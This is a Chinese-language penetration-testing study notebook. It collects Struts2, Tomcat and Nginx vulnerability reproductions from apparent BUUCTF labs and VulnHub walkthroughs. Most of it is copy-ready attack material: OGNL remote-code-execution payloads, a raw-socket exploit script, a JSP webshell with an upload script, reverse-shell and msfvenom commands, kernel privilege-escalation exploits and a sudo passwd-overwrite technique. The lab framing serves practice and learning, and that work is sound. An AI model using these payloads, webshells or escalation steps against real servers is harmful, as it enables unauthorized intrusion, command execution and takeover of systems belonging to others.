参考文章：【Struts2-命令-代码执行漏洞分析系列】S2-003和S3-005 S2-005 远程代码执行漏洞

[struts2]s2-007

影响版本: 2.0.0 - 2.2.3

当用户提交 age 为字符串而非整形数值时，后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用，只需要找到一个配置了类似验证规则的表单字段使之转换出错，借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

执行任意代码的EXP：

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

将Exp传入可以利用的输入框（age），即可执行参考文章： S2-007 远程代码执行漏洞先知社区：【Struts2-命令-代码执行漏洞分析系列】S2-007

[struts2]s2-008

影响版本: 2.1.0 - 2.3.1

S2-008 涉及多个漏洞，Cookie 拦截器错误配置可造成 OGNL 表达式执行，但是由于大多 Web 容器（如 Tomcat）对 Cookie 名称都有字符限制，一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令，正如 kxlzx 所提这种情况在生产环境中几乎不可能存在，因此就变得很鸡肋的，但我认为也不是绝对的，万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

例如在 devMode 模式下直接添加参数?debug=command&expression=<OGNL EXP>，会直接执行后面的 OGNL 表达式，因此可以直接执行命令远程执行命令POC-1：

/devmode.action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

远程执行命令POC-2(可直接回显)：

/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29)

S2-008 远程代码执行漏洞 Struts 2 漏洞专题 | S2-008

[struts2]s2-009

影响版本: 2.1.0 - 2.3.1.1

Struts2对s2-003的修复方法是禁止静态方法调用，在s2-005中可直接通过OGNL绕过该限制，对于#号，同样使用编码\u0023或\43进行绕过；于是Struts2对s2-005的修复方法是禁止\等特殊符号，使用户不能提交反斜线。但是，如果当前action中接受了某个参数example，这个参数将进入OGNL的上下文。所以，我们可以将OGNL表达式放在example参数中，然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它，从而绕过官方对#、\等特殊字符的防御。

学到了一个工具：https://github.com/HatBoy/Struts2-Scan 进行扫描：python3 Struts2Scan.py -u http://node3.buuoj.cn:29142/，没扫描出来，因为工具默认参数为key

POC如下：

http://node3.buuoj.cn:29142/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%22cat%20/etc/passwd%22).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

S2-009 远程代码执行漏洞 S2-009远程代码执行复现

[struts2]s2-012

影响版本: 2.1.0 - 2.3.13 如果在配置 Action 中 Result 时使用了重定向类型，并且还使用 ${param_name} 作为重定向变量，例如：

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里 UserAction 中定义有一个 name 变量，当触发 redirect 类型返回时，Struts2 获取使用 ${name} 获取其值，在这个过程中会对 name 参数的值执行 OGNL 表达式解析，从而可以插入任意 OGNL 表达式导致命令执行。

直接祭出s2-001中的回显POC：

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

参考文章： S2-012 远程代码执行漏洞

[struts2]s2-013

S2-013/S2-014 远程代码执行漏洞影响版本: 2.0.0 - 2.3.14.1

Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性，其值可设置为 none，get 或 all，参考官方其对应意义如下： none - 链接不包含请求的任意参数值（默认） get - 链接只包含 GET 请求中的参数和其值 all - 链接包含 GET 和 POST 所有参数和其值 <s:a>用来显示一个超链接，当includeParams=all的时候，会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染，造成任意命令执行漏洞。

注意传值的时候要先url编码，任意命令执行POC：(最后一行未执行成功)

/link.action?a=${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
或
/link.action?a=${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}
或
/link.action?a=${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

参考： S2-013/S2-014 远程代码执行漏洞

[struts2]s2-016

影响版本: 2.0.0 - 2.3.15

在struts2中，DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令

访问index.action执行命令，记得url编码

/index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22uname%20-a%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D

访问env获取环境变量得到flag 写入webshell：

/index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22)%2C%23b%3Dnew%20java.io.FileOutputStream(new%20java.lang.StringBuilder(%23a.getRealPath(%22%2F%22)).append(%40java.io.File%40separator).append(%221.jspx%22).toString())%2C%23b.write(%23a.getParameter(%22t%22).getBytes())%2C%23b.close()%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%22BINGO%22)%2C%23genxor.flush()%2C%23genxor.close()%7D

获取web目录

/index.action?redirect%3A%24%7B%23req%3D%23context.get('co'%2B'm.open'%2B'symphony.xwo'%2B'rk2.disp'%2B'atcher.HttpSer'%2B'vletReq'%2B'uest')%2C%23resp%3D%23context.get('co'%2B'm.open'%2B'symphony.xwo'%2B'rk2.disp'%2B'atcher.HttpSer'%2B'vletRes'%2B'ponse')%2C%23resp.setCharacterEncoding('UTF-8')%2C%23ot%3D%23resp.getWriter%20()%2C%23ot.print('web')%2C%23ot.print('path%3A')%2C%23ot.print(%23req.getSession().getServletContext().getRealPath('%2F'))%2C%23ot.flush()%2C%23ot.close()%7D

Struts2最近几个漏洞分析&稳定利用Payload S2-016 远程代码执行漏洞

[struts2]s2-045

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

首先安装poster pip install poster 然后下载 Struts2-045 POC，直接使用文章的方法

python2 s2_045_cmd.py http://node3.buuoj.cn:29229/doUpload.action

成功执行命令！！！然后找到了另一篇文章，直接抓包使用，修改Content-Type

Content-Type:"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

参考文章： S2-045本地复现与分析【实验】如何本地搭建Struts2框架对S2-045漏洞进行利用 Struts-S2-045漏洞利用（含环境搭建、含POC）

[struts2]s2-046

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

与s2-045类似，但是输入点在文件上传的filename值位置，并需要使用\x00截断。需要在strust.xml中加入 <constant name="struts.multipart.parser" value="jakarta-stream" />才能触发。

由于需要发送畸形数据包，我们简单使用原生socket编写payload：

import socket

q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain

foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST /doUpload.action HTTP/1.1
Host: node3.buuoj.cn:26399
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d

'''.replace(b'\n', b'\r\n') % (len(q), )

with socket.create_connection(('node3.buuoj.cn','26399'), timeout=5) as conn:
    conn.send(p + q)
    print(conn.recv(10240).decode())

参考文章： S2-046 远程代码执行漏洞（CVE-2017-5638） S2-046漏洞调试及初步分析【重大漏洞预警】Struts 2 远程代码执行漏洞(s2-045s2-046) (含PoC)

[struts2]s2-053

影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10

Struts2在使用Freemarker模板引擎的时候，同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析，但由于被Freemarker解析一次后变成离开一个表达式，被OGNL解析第二次，导致任意命令执行漏洞。 <@s.hidden name="redirectUri" value=redirectUri /> <@s.hidden name="redirectUri" value="${redirectUri}" />

Payload:(Payload末尾的换行不能掉)

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

参考文章： S2-053 远程代码执行漏洞 S2-053 复现分析过程(附POC)

[Tomcat]

[Tomcat]CVE-2017-12615

Apache Tomcat 7.0.0 – 7.0.81 Tomcat对文件后缀有一定检测（不能直接写jsp），但我们使用一些文件系统的特性（如Linux下可用/）来绕过了限制测试发现无法上传jsp文件，那么使用/6.jsp/试试写入jsp的shell

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("bmth".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

上传成功，可执行命令使用大神的python脚本上传：

#! -*- coding:utf-8 -*- 
 
import httplib
 
import sys
 
import time
 
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
 
try:
 
    conn = httplib.HTTPConnection(sys.argv[1])
 
    conn.request(method='OPTIONS', url='/ffffzz')
 
    headers = dict(conn.getresponse().getheaders())
 
    if 'allow' in headers and \
       headers['allow'].find('PUT') > 0 :
 
        conn.close()
 
        conn = httplib.HTTPConnection(sys.argv[1])
 
        url = "/" + str(int(time.time()))+'.jsp/'
 
        #url = "/" + str(int(time.time()))+'.jsp::$DATA'
 
        conn.request( method='PUT', url= url, body=body)
 
        res = conn.getresponse()
 
        if res.status  == 201 :
 
            #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
 
            print 'shell:', 'http://' + sys.argv[1] + url[:-1]
 
        elif res.status == 204 :
 
            print 'file exists'
 
        else:
 
            print 'error'
 
        conn.close()
 
    else:
 
        print 'Server not vulnerable'
 
except Exception,e:
 
    print 'Error:', e

然后尝试执行命令

参考文章：Apache Tomcat任意文件上传漏洞（CVE-2017-12615） TOMCAT（CVE-2017-12615）远程代码执行

[Tomcat]Tomcat8+ Weak Password && Backend Getshell Vulnerability

Tomcat版本：8.0 Tomcat支持在后台部署war文件，可以直接将webshell部署到web目录下。其中，欲访问后台，需要对应用户有相应权限。

Tomcat7+权限分为：

manager（后台管理）

manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限，和status权限
manager-jmx 拥有jmx权限，和status权限

host-manager（虚拟主机管理）

admin-gui 拥有html页面权限
admin-script 拥有text接口权限

在conf/tomcat-users.xml文件中配置用户的权限：

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    
</tomcat-users>

用户tomcat拥有上述所有权限，密码是tomcat，打开tomcat管理页面http://your-ip:8080/manager/html，输入弱密码tomcat:tomcat，即可访问后台最后上传war包获取webshell，首先制作war木马，使用冰蝎的马，jar cvf shell.war shell.jsp 上传连接即可getshell

参考文章： Tomcat7+ 弱口令 && 后台getshell漏洞

[Nginx]

[Nginx]parsing_vulnerability

版本信息：

Nginx 1.x 最新版
PHP 7.x最新版

由此可知，该漏洞与Nginx、php版本无关，属于用户配置不当造成的解析漏洞。首先写入一句话随后进行上传，发现上传成功，给出了路径，增加/.php后缀，被解析成PHP文件，得到flag 参考：Nginx 解析漏洞复现

[Nginx]CVE-2013-4547

影响版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 这个漏洞其实和代码执行没有太大关系，其主要原因是错误地解析了请求的URI，错误地获取到用户请求的文件名，导致出现权限绕过、代码执行的连带影响。

举个例子，比如，Nginx匹配到.php结尾的请求，就发送给fastcgi进行解析，常见的写法如下：

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

正常情况下（关闭pathinfo的情况下），只有.php后缀的文件才会被发送给fastcgi解析。

而存在CVE-2013-4547的情况下，我们请求1.gif[0x20][0x00].php，这个URI可以匹配上正则\.php$，可以进入这个Location块；但进入后，Nginx却错误地认为请求的文件是1.gif[0x20]，就设置其为SCRIPT_FILENAME的值发送给fastcgi。fastcgi根据SCRIPT_FILENAME的值进行解析，最后造成了解析漏洞。

所以，我们只需要上传一个空格结尾的文件，即可使PHP解析之。

再举个例子，比如很多网站限制了允许访问后台的IP：

location /admin/ {
    allow 127.0.0.1;
    deny all;
}

我们可以请求如下URI：/test[0x20]/../admin/index.php，这个URI不会匹配上location后面的/admin/，也就绕过了其中的IP验证；但最后请求的是/test[0x20]/../admin/index.php文件，也就是/admin/index.php，成功访问到后台。（这个前提是需要有一个目录叫test ：这是Linux系统的特点，如果有一个不存在的目录，则即使跳转到上一层，也会爆文件不存在的错误，Windows下没有这个限制）

首先上传一个1.jpg (注意后面的空格) 随后找到路径直接[0x20][0x00].php，发现PHP已被解析

注意，[0x20]是空格，[0x00]是\0，这两个字符都不需要编码。 参考文章： Nginx 文件名逻辑漏洞（CVE-2013-4547）文件解析漏洞总结-Nginx

vulnhub靶机系列

跟着i春秋大哥做一下vulnhub靶机 下载靶机地址：https://www.vulnhub.com/

Toppo: 1

打开靶机会发现给出了ip 那么我们访问试试看，发现可以，那么使用nmap扫描端口 nmap 192.168.153.138 发现开放了22，80，111端口接下来文章使用dirb扫描目录，我这里就使用dirsearch python3 dirsearch.py -u 192.168.153.138 -e php admin目录下发现notes.txt 文件中有个信息password :12345ted123，然后猜测用户名为ted，又因为开放了22端口，使用ssh连接试试连接成功，最后要进行提权

sudo -l = 当前用户可以以root身份执行的操作 cat /etc/sudoers = 谁被允许以root身份执行

首先使用sudo -l,发现用不了，用cat /etc/sudoers发现ted 目前可以已root权限运行/usr/bin/awk程序 awk权限提升，最后

awk 'BEGIN{system("whoami")}'
awk 'BEGIN{system("ls /root")}'
awk 'BEGIN{system("cat /root/flag.txt")}'

参考：通关vulnhub靶机(四)-toppo:1 渗透测试 | VulnHub-Toppo靶场实战

CyberSploit: 1

先用netdiscover确认靶机IP，排除 .1,.2，可以确定为192.168.153.139 netdiscover -r 192.168.153.128 渗透测试之IP发现（netdiscover）开始用nmap探测端口,可以看到开了22和80端口 nmap -A -sS -sV -v -p- 192.168.153.139 那么访问80端口的页面，F12得到信息接下来用dirb扫描目录dirb http://192.168.153.139/ 访问robots.txt得到一串密文，base64解密得到第一个flag 由于知道了用户名，那么需要得到密码，看大佬文章发现密码居然是cybersploit{youtube.com/c/cybersploit}，佛了 ssh进去，ls发现有个flag2.txt。这一看就是二进制，那么我们解密一下大佬的python解密脚本如下：

def decode(s):
    return ''.join([chr(i) for i in [int(b, 2) for b in s.split(' ')]])
print(decode('01100111 01101111 01101111 01100100 00100000 01110111 01101111 01110010 01101011 00100000 00100001 00001010 01100110 01101100 01100001 01100111 00110010 00111010 00100000 01100011 01111001 01100010 01100101 01110010 01110011 01110000 01101100 01101111 01101001 01110100 01111011 01101000 01110100 01110100 01110000 01110011 00111010 01110100 00101110 01101101 01100101 00101111 01100011 01111001 01100010 01100101 01110010 01110011 01110000 01101100 01101111 01101001 01110100 00110001 01111101'))

最后一关是提权，首先uname -a查看内核发现是3.13.0，尝试利用overlayfs提权

searchsploit overlayfs
searchsploit -p 37292
cp /usr/share/exploitdb/exploits/linux/local/37292.c ~

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation 使用scp上传到靶机scp ./37292.c itsskv@192.168.153.139:/tmp 最后编译即可：gcc 37292.c -o bmth 参考：通关vulnhub靶机(三)-cybersploit:1 vulnhub靶机-CyberSploit: 1

Node: 1

先使用netdiscover扫描ip netdiscover -r 192.168.239.138/16 确认为192.168.239.139，那么使用namp扫描端口 nmap -A -sS -sV -v -p- 192.168.239.139 发现开了3000端口，那么试着访问一下，发现有一个登录，查看源代码，发现调用了很多js，查看这些js 再home.js发现了/api/users/latest，进去康康啊这，发现了一些账号密码试试退到/users目录，发现is_admin为true，那么我们需要知道密码通过在线解密得到密码为manchester

那么我们可以登录账号啦，登录以后有个Download backup,下载完以后一打开发现有很多字符串文件总长度为3459880，可以整除4。猜测为base64，先输出出来然后在当作base64保存成另外一个文件 cat myplace.backup | base64 -d > myplace 再次用file看一下已经变成zip格式了

点开发现还有密码，那么我们需要爆破了，先把后缀改为zip，mv myplace myplace.zip kali下fcrackzip和john破解zip密码 zip2john myplace.zip > passwd.txt 最后用john计算hash值 john passwd.txt，发现太慢了。。。。改用fcrackzip，首先安装 sudo apt-get install fcrackzip 一把梭：fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip

参数	描述
-D	指定方式为字典猜解
-p	指定猜解字典的路径
-u	表示只显示破解出来的密码，其他错误的密码不显示出

密码为magicword，解压即可得到源码熟悉nodejs的同学了解app.js的作用，项目入口及程序启动文件，里面存储着重要配置信息，从该文件中，获取到mongodb的配置信息，如下图所示：账号mark，密码5AYRft73VtFpc84k

查看id发现没有root权限最后就需要提权了，首先uname -a查看内核版本 cat /etc/lsb-release 查看发行的系统版本信息 arch 机器的体系架构

使用searchsploit（漏洞查询工具）来查找内核版本的漏洞使用scp命令（远程文件拷贝）将payload上传至靶机 scp /usr/share/exploitdb/exploits/linux/local/44298.c mark@192.168.239.139:/tmp/ 最后编译运行试试，成功提权

参考：通关vulnhub靶机(七)-node Vulnhub Node:1 详解

InfoSecWarrior CTF 2020: 02

首先获取ip，netdiscover -r 192.168.239.140/16

获取到了ip，那么使用namp扫描nmap -A -sS -sV -v -p- 192.168.239.141 发现开放了ssh和56563端口，尝试访问一下56563端口康康：使用nc连接

随便输入一些字符，看到发送了ping请求，猜测代码为ping -c {} 127.0.0.1，由于是python脚本写的，那么使用ssti模板注入试试看，__import__('os').system("/bin/bash") 发现我们已经获取了bash，拿到shell了。那么查看一下当前文件，发现有一个文件很特殊，cat一下，得到密码提示 python -c "import pty;pty.spawn('/bin/bash')" 获取交互，尝试提权，发现需要密码那么我们查看一下/etc/passwd有什么，发现有用信息

接下来进入home目录下查看用户，发现ck04可读，进去康康有什么由于当ck04登录的话会执行/ck04/shell，那么查看一下shell文件

发现没辙，那么试试ssh连接一下

hostname
uname -a
lsb_release -a

提示需要主机名，这里为ck04，Codename: bionic Linux lsb_release 命令用法详解那么使用ssh登录，账号ck04，密码bionic，得到第一个flag

由于输入的东西是执行read ip…这些命令，如果这也是插入到python中并且执行的，那我们可以用/bin/bash命令回弹一个shell

但是发现不能执行命令，但可以执行nc，那么我们需要反弹一个shell，常规的nc回弹参数-e无法使用，可以利用管道符来监听两个端口，具体见文章：Linux下几种反弹Shell方法的总结与理解。我这里就用工具https://github.com/t0thkr1s/revshellgen

使用这个工具可以给我们一个在无法使用-e参数的情况下的反弹语句，第一步输入让你填写反弹端口号，后面就是选择类型以及无法执行的命令

执行监听nc -lvnp 6666,获取shell了

先查看有没有什么计划任务，发现没有，直接sudo -l 发现可以sudo -u bla /bin/bash，那么用户就变为bla了，然后sudo -l

发现可以使用root来unzip，那么思路来了，首先下载/etc/passwd，然后修改密码为我们想要的密码，然后unzip解压覆盖掉原始的passwd，那么就可以提权了首先生成密码openssl passwd bmth 将passwd复制出来修改为我们需要的

将文件放入服务器中，使用wget下载，先把文件打包，然后直接解压到文件路径替换掉 zip -r 打包后的文件名 passwd

sudo /usr/bin/unzip a.zip -d /etc，最后查看是否覆盖掉了

使用sudo root，发现失败，很神奇，后来发现需要bla的密码，然后将bla用户的密码也改为bmth，最后提权成功

参考视频：vulnHub-infosecwarrior2 渗透小白参考文章：靶机渗透-InfoSecWarriorBox2

InfoSecWarrior CTF 2020: 01

netdiscover -r 192.168.239.0/16，不知道为什么我要扫C段才行也可以使用工具LanSee 还是使用namp扫描，一样的套路nmap -A -sS -sV -v -p- 192.168.239.143

发现开放了22端口和80端口，那么访问一下，没有啥东西，尝试扫描目录，使用dirsearch ~~这里我的kali重装了一遍~~ python3 dirsearch.py -u 192.168.239.143 -e *

发现没有啥东西，访问sitemap.xml

发现index.htnl，这个很奇怪，那么去访问康康，查看源码得到信息

页面隐藏了一张图片和一张表单，修改hidden属性，让其显示出来并隐藏上面那张图片,那么抓包尝试执行命令发现返回Try other method，由于我们使用的是GET传参，尝试一下POST

查看一下cmd.php，康康代码是啥

发现返回了一个用户和一个密码，可以使用ssh登录了

$user="isw0";
$pass="123456789blabla";

需要提权，sudo -l GTFOBins 尝试使用rpm进行提权，sudo rpm --eval '%{lua:os.execute("/bin/sh")}'

参考：VulnHub学习：InfoSecWarrior CTF 2020: 01

MyFileServer: 1

先扫ip：netdiscover -r 192.168.239.132/16 然后nmap扫描端口 nmap -p- 192.168.239.146 由于有80端口，那么扫描目录了python3 dirsearch.py -u 192.168.239.146 -e * 进入网站，查看readme.txt，得到密码使用smbmap对smb信息枚举

注：SMBMap允许用户枚举整个域中的samba共享驱动器。列出共享驱动器，驱动器权限，共享内容，上载/下载功能，文件名自动下载模式匹配，甚至执行远程命令。

smbmap -H 192.168.239.146 发现smbdata有读写的权限，使用smbclient来连接 Linux基础命令----smbclient 将文件get下来，在secure文件中发现，用户：smbuser，密码为：chauthtok

尝试ssh登录，发现无权访问，只能用私钥才能访问，那么使用ftp登录康康，最后发现账号密码是smbuser/rootroot1 成功登录查看ssh配置文件：cd /etc/ssh

将文件get下载下来，然后打开来康康，发现用户密钥文件的存放目录

然后在smbuser用户下创建文件夹.ssh 返回kali，伪造公钥和私钥创建连接 ssh-keygen -t rsa

使用命令把公钥和私钥复制下来 cp /root/.ssh/* ./，然后上传公钥到.ssh/authorized_keys 最后ssh -o StrictHostKeyChecking=no smbuser@192.168.239.146，连接成功最后一步提权：uname -a 于是使用脏牛提权，在kali查找攻击脚本 searchsploit dirty

cp /usr/share/exploitdb/exploits/linux/local/40616.c .
scp ./40616.c smbuser@192.168.239.146:/tmp
gcc -pthread 40616.c -o bmth -lcrypt

参考：通关vulnhub靶机(八)-MyFileServer:1 记录Vulnhub-my file server1渗透过程 vulnhub靶机-My File Sever

VulnUni: 1.0.1

还是使用netdiscover寻找ip nmap扫描端口nmap -A -sS -sV -v -p- 192.168.239.147 发现只开放了80端口，尝试扫描目录

发现并没有什么特别的目录，那么访问ip康康，最后在blog-single.html查看源码得到了信息访问是一个登录界面CMS名字为GUnet

那么在exploit-db上看一下有没有相关漏洞，果然有一个sql注入的

48163.txt里面不仅有SQL的方法，还表明如果拿到admin账号成功登录以后去到/modules/course_info/restore_course.php上传.php的shell加上.zip后缀，忽略错误信息然后再次访问得到反弹shell

那么抓包保存为eclasstestlogin，使用sqlmap扫描sqlmap -r eclasstestlogin --dbs --batch sqlmap -r eclasstestlogin -D eclass --tables --batch 最后在user表中获得了password，经过测试账号：admin 密码：ilikecats89，成功登录

来到/modules/course_info/restore_course.php有一个文件上传界面

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.239.132 LPORT=6666 -f raw

